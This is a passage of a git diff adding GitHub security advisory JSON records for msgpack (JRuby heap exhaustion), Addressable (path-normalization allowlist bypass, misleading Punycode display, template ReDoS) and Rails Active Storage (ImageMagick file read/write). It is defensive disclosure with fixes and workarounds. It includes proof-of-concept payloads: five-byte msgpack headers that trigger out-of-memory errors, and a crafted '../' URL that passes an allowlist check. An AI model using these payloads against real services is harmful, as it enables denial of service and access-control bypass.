grown; the peak cost is paid synchronously during parsing regardless of GC behaviour afterwards. (Honest scope note: this is unbounded **allocation**, not a memory leak.)\n\n### 4. Why JVM makes availability impact worse than the CRuby analogue\n\nIn CRuby, allocation failure raises `NoMemoryError`/fails inside one worker process. In a JVM, an OOME raised on the parser thread can land anywhere in the host application's shared runtime — long-lived JRuby servers (Rails, Logstash-class pipelines, JDBC apps) share heap across all threads and connections; a single crafted message can destabilize or kill the whole JVM, not just the request. The silent band means no exception at all is even required to spend memory.\n\n### 5. Not claimed / scope\n\n* **Fluentd is NOT affected** (and this report deliberately does not involve it): Fluentd ships CRuby-only — CI pins `engine: cruby`, gemspec requires ruby >= 3.3 while JRuby 9.4 implements Ruby 3.1 semantics, and there are zero JRUBY guards in lib/. This is an upstream msgpack-ruby report only.\n* Maps (`map32`) do not pre-allocate — measured; the class applies to `array32`/`str32`/`bin32`.\n* Counts ≥ 2³¹ are cleanly refused — measured; no claim there.\n* Older java-gem releases were not individually probed; `<= 1.8.6` means \"every release up to the current one carries this code\".\n\n\n### Proof of concept\n\nVerified on the **released gem** `msgpack 1.8.6 java`, JRuby 9.4.12.0, OpenJDK 25.0.4.1, Linux x86-64 (artifacts in `evidence_186_recheck/`). Always run with a small `-Xmx` so oversized requests fail fast instead of wrecking the box.\n\n### Setup\n\n```console\n$ curl -fsSLO https://repo1.maven.org/maven2/org/jruby/jruby-dist/9.4.12.0/jruby-dist-9.4.12.0-bin.tar.gz\n$ tar xzf jruby-dist-9.4.12.0-bin.tar.gz && export PATH=$PWD/jruby-9.4.12.0/bin:$PATH\n$ jruby -S gem install msgpack --no-document # resolves the java-platform gem: \"msgpack (1.8.6 java)\"\n```\n\n### 1. Header shapes (fresh process per arm, `-Xmx512m`)\n\n```console\narray32 count=0xFFFFFFFF -> MessagePack::UnderflowError: Size too large (limited to 2**31 for the Java version)\narray32 count=0x7FFFFFFF -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit\narray32 count=500000000 -> Java::JavaLang::OutOfMemoryError: Java heap space # real allocation attempt\nstr32 len=0x7FFFFFFF -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit\nbin32 len=0x7FFFFFFF -> Java::JavaLang::OutOfMemoryError: Requested array size exceeds VM limit\nmap32 count=0x7FFFFFFF -> no exception, no large allocation (consumeHash grows per element)\n```\n\nEach payload is five bytes, e.g. `\"\\xdd\" + [count].pack('N')` fed to `MessagePack::Unpacker#feed_each`. Scripts: `jr_probe.rb`, `jr_probe_extra.rb` (attached in kit).\n\n### 2. Silent band — retention from one header (Xmx1g)\n\n```console\n$ for n in 1000000 5000000 20000000; do jruby -J-Xmx1g jr_one.rb $n; done\ncount= 1000000 heap 26.4 -> 31.1 MiB (delta 4.7) | no exception (underflow swallowed)\ncount= 5000000 heap 53.3 -> 74.0 MiB (delta 20.7) | no exception (underflow swallowed)\ncount= 20000000 heap 51.3 -> 129.3 MiB (delta 78.0) | no exception (underflow swallowed)\n\n$ jruby -J-Xmx1g jr_reset_control.rb 20000000\ncount=20000000 heap base=49.9 after_feed=129.3 (delta 79.4) after_reset_gc=129.3 (retained_vs_base 79.4)\n```\n\nA streaming server that keeps one unpacker per connection (the pattern any socket-fed msgpack service uses) pays this per connection with five wire bytes each and produces no exception, no log line.\n\n### 3. Fix verification path\n\nApply the C-side idea from c8d42d8: in `consumeArray`, cap the initial array by bytes actually buffered (an element needs ≥ 1 byte) and grow as elements arrive; in `readBytes`/`consumeString`, read in bounded chunks instead of allocating the declared length up front. Then re-run this PoC: the silent band should track delivered bytes, and oversized declarations should raise `UnderflowError`-class errors without touching multi-GiB allocations. msgpack-ruby CI runs jruby-9.4/truffleruby, so a patch is verifiable as-is; I can prepare one against `ext/java/org/msgpack/jruby/Decoder.java`.\n\n\n### Impact\n\n**Type.** Uncontrolled resource consumption driven by *declared* sizes rather than delivered bytes — CWE-770 (Allocation of Resources Without Limits or Throttling), precisely CWE-1325 (Independent Resource Usage Limiting Not Applied). Availability only; no confidentiality/integrity impact, no code execution.\n\n**Who is impacted.** Any JRuby application that feeds untrusted msgpack to `MessagePack.unpack`/`Unpacker` — the java-platform gem's whole user base (JRuby-based services, log/RPC pipelines, JVM polyglot stacks using this gem). For them: remote OOM of a shared-heap JVM from a 5-byte message, or silent heap spend below the exception band.\n\n**Severity.** Proposed **High / 7.5**, `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` — remote, trivially crafted, default settings, process death; same metric string as the accepted fluentd OOM family (e.g. GHSA-h3xv-5jpx-r4j2) and as this repo's own C-side analogue (reported separately, patched at 1.8.6). If triage weighs the platform scope (java gem only), lower framings read against that — we flag it honestly; the maintainers' call on scope shouldn't delay the patch.\n\n**Relationship to the C-side report.** Same flaw class, different implementation and fix state: CRuby's pre-allocation was capped by c8d42d8 (released 1.8.6, separate advisory with affected `<= 1.8.5`, patched `1.8.6`). This JRuby variant is **unfixed in 1.8.6** and needs its own patch + CVE. Cross-reference both ways once filed.\n\n**What this is not.** Not a Fluentd issue (Fluentd is CRuby-only — CI pins cruby, gemspec ruby >= 3.3 vs JRuby's Ruby 3.1 semantics); no fluentd advisory should carry this. Not a memory leak (measured: footprint elevation persists after reset+GC without retained objects). Not exploitable via maps or counts ≥ 2³¹ (both measured safe/cleanly refused).","affected":[{"package":{"name":"msgpack","ecosystem":"RubyGems","purl":"pkg:gem/msgpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.7"}]}],"versions":["0.0.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0pre1","0.6.1","0.6.2","0.7.0","0.7.0dev1","0.7.1","0.7.2","0.7.2dev1","0.7.3","0.7.4","0.7.5","0.7.6","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.2.0","1.2.1","1.2.10","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.4.0.pre1","1.4.1","1.4.2","1.4.3","1.4.4","1.4.4.pre1","1.4.5","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6"],"database_specific":{"last_known_affected_version_range":"<= 1.8.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-73v3-wf97-vpgj/GHSA-73v3-wf97-vpgj.json"}}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-73v3-wf97-vpgj"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/commit/ca0efc1256c687b428c46dd68ce000ff515d53f2"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-ruby"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/releases/tag/v1.8.6"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-ruby/releases/tag/v1.8.7"}],"database_specific":{"cwe_ids":["CWE-1325","CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:54:59Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-8gmh-2hhj-2hv9.json b/data/RubyGems/GHSA-8gmh-2hhj-2hv9.json new file mode 100644 index 0000000000..9de7fa98ff --- /dev/null +++ b/data/RubyGems/GHSA-8gmh-2hhj-2hv9.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-8gmh-2hhj-2hv9","published":"2026-11-12T22:27:58Z","modified":"2026-11-12T22:45:04.162582601Z","aliases":["CVE-2026-126354"],"summary":"Addressable URI normalization resolves some dotted path segments to the wrong path","details":"### Summary\n\n`Addressable::URI.normalize_path` resolves some paths containing `..` segments to a different path than RFC 3986 does. When a path climbs above the root before any other `..` is resolved, the segments that later `..` segments should remove are instead kept: `/../../public/x/../../secret` normalizes to `/public/x/secret` instead of `/secret`. `URI#normalize`, `URI#join`, `URI#==` and `URI#===` all use this normalization. An application that checks a normalized Addressable path against an allowlist, but sends the original URI to something that resolves it according to RFC 3986, can be made to allow a request for a path outside the allowlist.\n\n### Details\n\n`normalize_path` in 2.9.0 (`lib/addressable/uri.rb`) removes dot segments by repeating a set of rewrites until nothing changes. On each pass it finds the first `/segment/../` pair with `RULE_2B_2C`, then replaces every textual copy of that pair in the path with `/`:\n\n```ruby\npair = normalized_path.match(RULE_2B_2C)\n...\nregexp = \"/#{Regexp.escape(parent.to_s)}/\\\\.\\\\./|\"\nregexp += \"(/#{Regexp.escape(current.to_s)}/\\\\.\\\\.$)\"\n...\nmod ||= normalized_path.gsub!(Regexp.new(regexp), SLASH)\n```\n\nWhen the first pair found is `/../../`, where the \"segment\" is itself `..`, every `/../../` in the path is replaced with `/`. That includes copies later in the path, where each `..` should have removed the segment before it. For `/../../public/x/../../secret`:\n\n- RFC 3986 §5.2.4 drops the two leading `..` segments, which can't go above the root, then removes `x` and `public`, giving `/secret`.\n- 2.9.0 replaces both copies of `/../../` with `/` in one step, giving `/public/x/secret`.\n\nPaths where an ordinary `/segment/../` pair comes first, such as `/a/../../b/c/../../d`, are resolved correctly.\n\nThis was introduced in 2.2.5. Versions 2.0.0 through 2.2.4 and earlier versions resolve these paths correctly. It is fixed in 2.9.1, which replaces the rewrite loop with a single pass that correctly follows RFC 3986 §5.2.4.\n\n### Proof of concept\n\n```ruby\nrequire \"addressable/uri\"\nrequire \"uri\"\n\nurl = \"http://example.com/../../public/x/../../secret\"\n\n# Addressable's normalized path, compared with RFC 3986 resolution by Ruby's URI library\nputs Addressable::URI.parse(url).normalize.path\nputs URI.join(\"http://example.com/\", \"../../public/x/../../secret\").path\n\n# join and == use the same normalization\nputs Addressable::URI.join(\"http://example.com/\", \"../../public/x/../../secret\").path\nputs Addressable::URI.parse(url) == Addressable::URI.parse(\"http://example.com/public/x/secret\")\n\n# An allowlist check on the normalized path passes, but the request reaches /secret\ndef allowed?(url) = Addressable::URI.parse(url).normalize.path.start_with?(\"/public/\")\nputs allowed?(url)\n```\n\nOutput with Addressable 2.9.0:\n\n```\n/public/x/secret\n/secret\n/public/x/secret\ntrue\ntrue\n```\n\nOutput with Addressable 2.9.1:\n\n```\n/secret\n/secret\n/secret\nfalse\nfalse\n```\n\n\n### Impact\n\nThis is an interpretation conflict (CWE-436) between Addressable and other RFC 3986 resolvers, which could lead to path traversal past an allowlist (CWE-22). An application is affected when it does both of these:\n\n- makes an access decision on a path normalized or joined by Addressable, such as \"only paths under `/public/` may be proxied\" or \"only these redirect targets are allowed\";\n- sends the original, unnormalized URI to a component that resolves dot segments itself, such as an HTTP client, a proxy, a web server or a browser.\n\nAn attacker may be able to bypass a check by exploiting behavioral differences between URI parsers. Impact from this is application-dependent. Applications that use Addressable's normalized form for both the check and the request are unaffected, as are applications that reject paths containing `..` segments.\n\nAs a work-around for unpatched versions, before making access decisions on a path, either reject any containing `..` segments, including percent-encoded forms such as `%2e%2e`, or use the same normalized value for both the check and the request.","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.5"},{"fixed":"2.9.1"}]}],"versions":["2.2.5","2.2.6","2.2.7","2.2.8","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8gmh-2hhj-2hv9/GHSA-8gmh-2hhj-2hv9.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-8gmh-2hhj-2hv9"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/25c7c412a2f7e06c3cac92872e831f6d053703c5"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-8gmh-2hhj-2hv9.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-22","CWE-436"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:27:58Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-9crm-g4mf-wc5j.json b/data/RubyGems/GHSA-9crm-g4mf-wc5j.json new file mode 100644 index 0000000000..c7751b60e4 --- /dev/null +++ b/data/RubyGems/GHSA-9crm-g4mf-wc5j.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-9crm-g4mf-wc5j","published":"2026-11-12T22:44:57Z","modified":"2026-11-12T23:00:05.713087803Z","aliases":["CVE-2026-126348"],"summary":"Addressable display_uri can show misleading hosts with invalid Punycode A-labels","details":"### Impact\n\n`Addressable::IDNA.to_unicode`, in the pure-Ruby IDNA implementation, decodes Punycode labels (labels beginning with `xn--`) that are not valid A-labels. Those labels are returned in decoded form, when they should be returned unchanged. That includes:\n\n- labels that decode to only ASCII characters, e.g. `xn--google-` decodes to `google`;\n- labels that decode to text that doesn't convert back to the same label (RFC 3490 §4.2), e.g. text that isn't in normalized form.\n\n`Addressable::URI#display_uri` uses `to_unicode`, so for `https://xn--google-.example.org/` it displays the host `google.example.org`, while `#host`, `#normalized_host` and any connection made from the URI use `xn--google-.example.org`. An attacker who controls a domain can therefore have a URI displayed as a host they don't control. Applications that compare the result of `to_unicode` against a list of trusted names can likewise treat two different hosts as the same.\n\nThe native IDNA implementation, used when libidn and the `idn-ruby` gem are installed, is not affected. `to_ascii` and `normalized_host` are not affected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable >= 2.0.0, the first version with the pure-Ruby IDNA implementation, when that implementation is in use. It is fixed in 2.9.1, where such labels are returned unchanged, as with libidn.\n\n### Workarounds\n\n- Install libidn and the `idn-ruby` gem, so that Addressable uses the native IDNA implementation.\n- Don't make security decisions on `display_uri` or `to_unicode` output. Compare hosts using `normalized_host`.\n\n### Credits\n\nReported by @tonghuaroot.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.9.1"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.1.0","2.1.1","2.1.2","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9crm-g4mf-wc5j/GHSA-9crm-g4mf-wc5j.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-9crm-g4mf-wc5j"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/b8a59cc0e03f8704f1d7c8122fc8f7ef8548362d"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-9crm-g4mf-wc5j.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-1007","CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:44:57Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-9f42-57jx-vpp3.json b/data/RubyGems/GHSA-9f42-57jx-vpp3.json new file mode 100644 index 0000000000..c0bc5faac7 --- /dev/null +++ b/data/RubyGems/GHSA-9f42-57jx-vpp3.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-9f42-57jx-vpp3","published":"2026-11-12T22:29:35Z","modified":"2026-11-12T22:45:04.068511750Z","aliases":["CVE-2026-126352"],"summary":"Addressable: Regular Expression Denial of Service in templates with multiple variables","details":"### Impact\n\nWithin the URI template implementation in Addressable, templates that put several variables in one expression generate regular expressions vulnerable to excessive backtracking:\n\n1. Expressions with any operator other than `+` and `#` (e.g., `{/owner,repo,ref}`, `{.a,b}`, `{a,b,c}`, `{;a,b,c}`). The values are joined by an optional separator, so a run of characters can be divided among the variables in O(n^k) ways for k variables.\n2. Expressions with the `+` or `#` operators and many variables (e.g., `{+v1,v2,v3,v4,v5,v6,v7,v8,v9,v10}`). A failing match is exponential in the number of variables.\n3. Several single-variable expressions next to each other (e.g., `{+a}{+b}{+c}` or `{a}{b}{c}`), which are polynomial in the input length.\n\nWhen `Template#match` or `Template#extract` is called with a maliciously crafted URI, this can result in uncontrolled resource consumption, leading to denial of service. A three-variable path template such as `http://example.com/repos{/owner,repo,ref}` needs about 2 KB of input to occupy a thread for many seconds.\n\nUsers of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected. Users who only call `Template#expand` are unaffected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2), including 2.9.0. It is fixed in 2.9.1.\n\nThe vulnerability is exploitable on Ruby implementations whose regular expression engine backtracks without memoization: MRI Ruby < 3.2 and JRuby. The second form, many-variable `+` and `#` expressions, is also exploitable on MRI Ruby 3.2, which does not memoize a regular expression that contains possessive quantifiers, and 2.9.0 generates those for these operators. It is also exploitable on TruffleRuby 40.0, whose regular expression engine falls back to backtracking for them. MRI Ruby 3.3 and later are not affected by any form, because they memoize those regular expressions too. TruffleRuby 40.0 is not affected by the other two forms. Earlier TruffleRuby versions were not tested.\n\nThis has been confirmed on the following runtimes with Addressable 2.9.0:\n\n| Runtime | Status |\n|---------|--------|\n| MRI Ruby 2.7 | Vulnerable |\n| MRI Ruby 3.1 | Vulnerable |\n| MRI Ruby 3.2 | Vulnerable |\n| MRI Ruby 3.3 | Not affected |\n| MRI Ruby 3.4 | Not affected |\n| MRI Ruby 4.0 | Not affected |\n| JRuby 9.4 | Vulnerable |\n| JRuby 10.1 | Vulnerable |\n| TruffleRuby 40.0 | Vulnerable |\n\n### Workarounds\n\n- Upgrade to MRI Ruby 3.3 or later, if a consuming application does not use JRuby or TruffleRuby.\n- Avoid matching user-supplied input on unpatched versions of the library against templates with several variables in one expression, or with several expressions next to each other.\n- Apply a short timeout around any call to `Template#match` or `Template#extract` that processes user-supplied data.\n\n### Credits\n\nReported by Matthew Mongeau (@halogenandtoast), Ruby Central Gem Security.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.9.1"}]}],"versions":["2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9f42-57jx-vpp3/GHSA-9f42-57jx-vpp3.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-9f42-57jx-vpp3"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/f2b27b3ab252e56b3fa3519f7ebb491d54cf7b7c"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-9f42-57jx-vpp3.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-1333"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:29:35Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-f3w6-w445-fwh9.json b/data/RubyGems/GHSA-f3w6-w445-fwh9.json new file mode 100644 index 0000000000..cfdd6decd8 --- /dev/null +++ b/data/RubyGems/GHSA-f3w6-w445-fwh9.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-f3w6-w445-fwh9","published":"2026-11-12T23:46:51Z","modified":"2026-11-13T00:00:05.204116648Z","aliases":["CVE-2026-122006","CVE-2026-126082"],"summary":"Active Storage: Possible arbitrary file write and read in image analysis","details":"### Impact\nA Rails application that processes attachments with ImageMagick may allow an unauthenticated attacker to write arbitrary files on the server and, when attachments are stored with the Disk service, to read arbitrary files readable by the application process. Those files typically include `secret_key_base` and credentials for external systems, which may in turn allow escalation to remote code execution or lateral movement to those systems.\n\n### Details\nImageMagick selects a coder from the content of the file it is given, and some coders act on files named inside the image rather than on the image itself. Active Storage constrained none of ImageMagick's coders, and the ImageMagick analyzer runs when a file is attached, so an attacker who can upload a crafted file may be able to invoke one. Attaching the upload is sufficient; no variant, preview, or `analyze` call is required. One specific attack chain has been reported to us, but we do not assume it is the only one that exists.\n\nThe fixed versions ship an ImageMagick security policy and prepend its directory to `MAGICK_CONFIGURE_PATH` through `MiniMagick.cli_env`, so every ImageMagick process that MiniMagick spawns applies it. The policy denies the `MSL` scripting coder, the coders that read or delete files other than the image, fetch remote or local references, or display to a screen, every coder backed by Ghostscript together with the `gs` delegate, and `@filename` indirection. ImageMagick applies every `policy.xml` on its search path, so the shipped policy adds to the host's policy rather than replacing it. The policy applies to every ImageMagick command that MiniMagick runs, not only those of Active Storage. See the `activestorage` CHANGELOG and \"ImageMagick Security Policy\" in the Active Storage guide.\n\n### Affected applications\nAn application is affected if it meets all of these requirements:\n- Uses ImageMagick for Active Storage image processing. This is `config.active_storage.variant_processor = :mini_magick`, which is the default for applications on `load_defaults 6.1` or earlier.\n- Runs ImageMagick under a security policy that does not already deny the coders involved. The policies that Debian and Ubuntu package do not.\n- Allows file uploads from untrusted users.\n\n### Mitigation\n- Upgrade to a fixed version of `activestorage`.\n- An application whose variant processor is `:mini_magick` must use mini_magick `>= 5.1`, which applying the policy requires. With an older mini_magick, such an application raises an exception during boot.\n- An application that renders PostScript or PDF through ImageMagick must re-allow the `gs` delegate and the coders it uses in the host's `policy.xml`.\n- An application that replaces `MiniMagick.cli_env` after boot, clears the environment with `MiniMagick.cli_prefix`, or installs its own `MiniMagick::Shell` does not receive the shipped policy and must carry its rules in ImageMagick's system policy. GraphicsMagick does not read ImageMagick policies.\n- If attachments are stored with the Disk service, change `secret_key_base` and every secret readable by the application process, including the master key and everything `config/credentials.yml.enc` holds, storage and database credentials, and third-party tokens. Do not retain an exposed secret as a fallback.\n\n### Workarounds\nCopy the rules of the policy that the fixed versions ship, `activestorage/lib/active_storage/image_magick/policy.xml`, into ImageMagick's system policy, for example `/etc/ImageMagick-7/policy.xml`. At a minimum, deny the `MSL` coder, the Ghostscript coders, and the `gs` delegate:\n\n```xml\n\n\n\n```\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/468aa9a93fc98f5476b6821770f4ccfcb7f7d328\n- 8.0: https://github.com/rails/rails/commit/ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776\n\n### Versions affected\n- activestorage < 8.0.5.2\n- activestorage >= 8.1, < 8.1.4.1\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [ryotak](https://hackerone.com/ryotak).\n\n### References\n- ImageMagick [security policy](https://imagemagick.org/security-policy/)","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f3w6-w445-fwh9/GHSA-f3w6-w445-fwh9.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f3w6-w445-fwh9/GHSA-f3w6-w445-fwh9.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-f3w6-w445-fwh9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-122006"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126082"},{"type":"WEB","url":"https://github.com/digitalocean/droplet-1-clicks/pull/488"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/pull/1300"},{"type":"WEB","url":"https://github.com/rails/rails/commit/468aa9a93fc98f5476b6821770f4ccfcb7f7d328"},{"type":"WEB","url":"https://github.com/rails/rails/commit/ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776"},{"type":"WEB","url":"https://github.com/alan-turing-institute/cyber-threat-observatory/blob/main/reports/2026-11-04/TIER_2_CVE-2026-122006.md"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{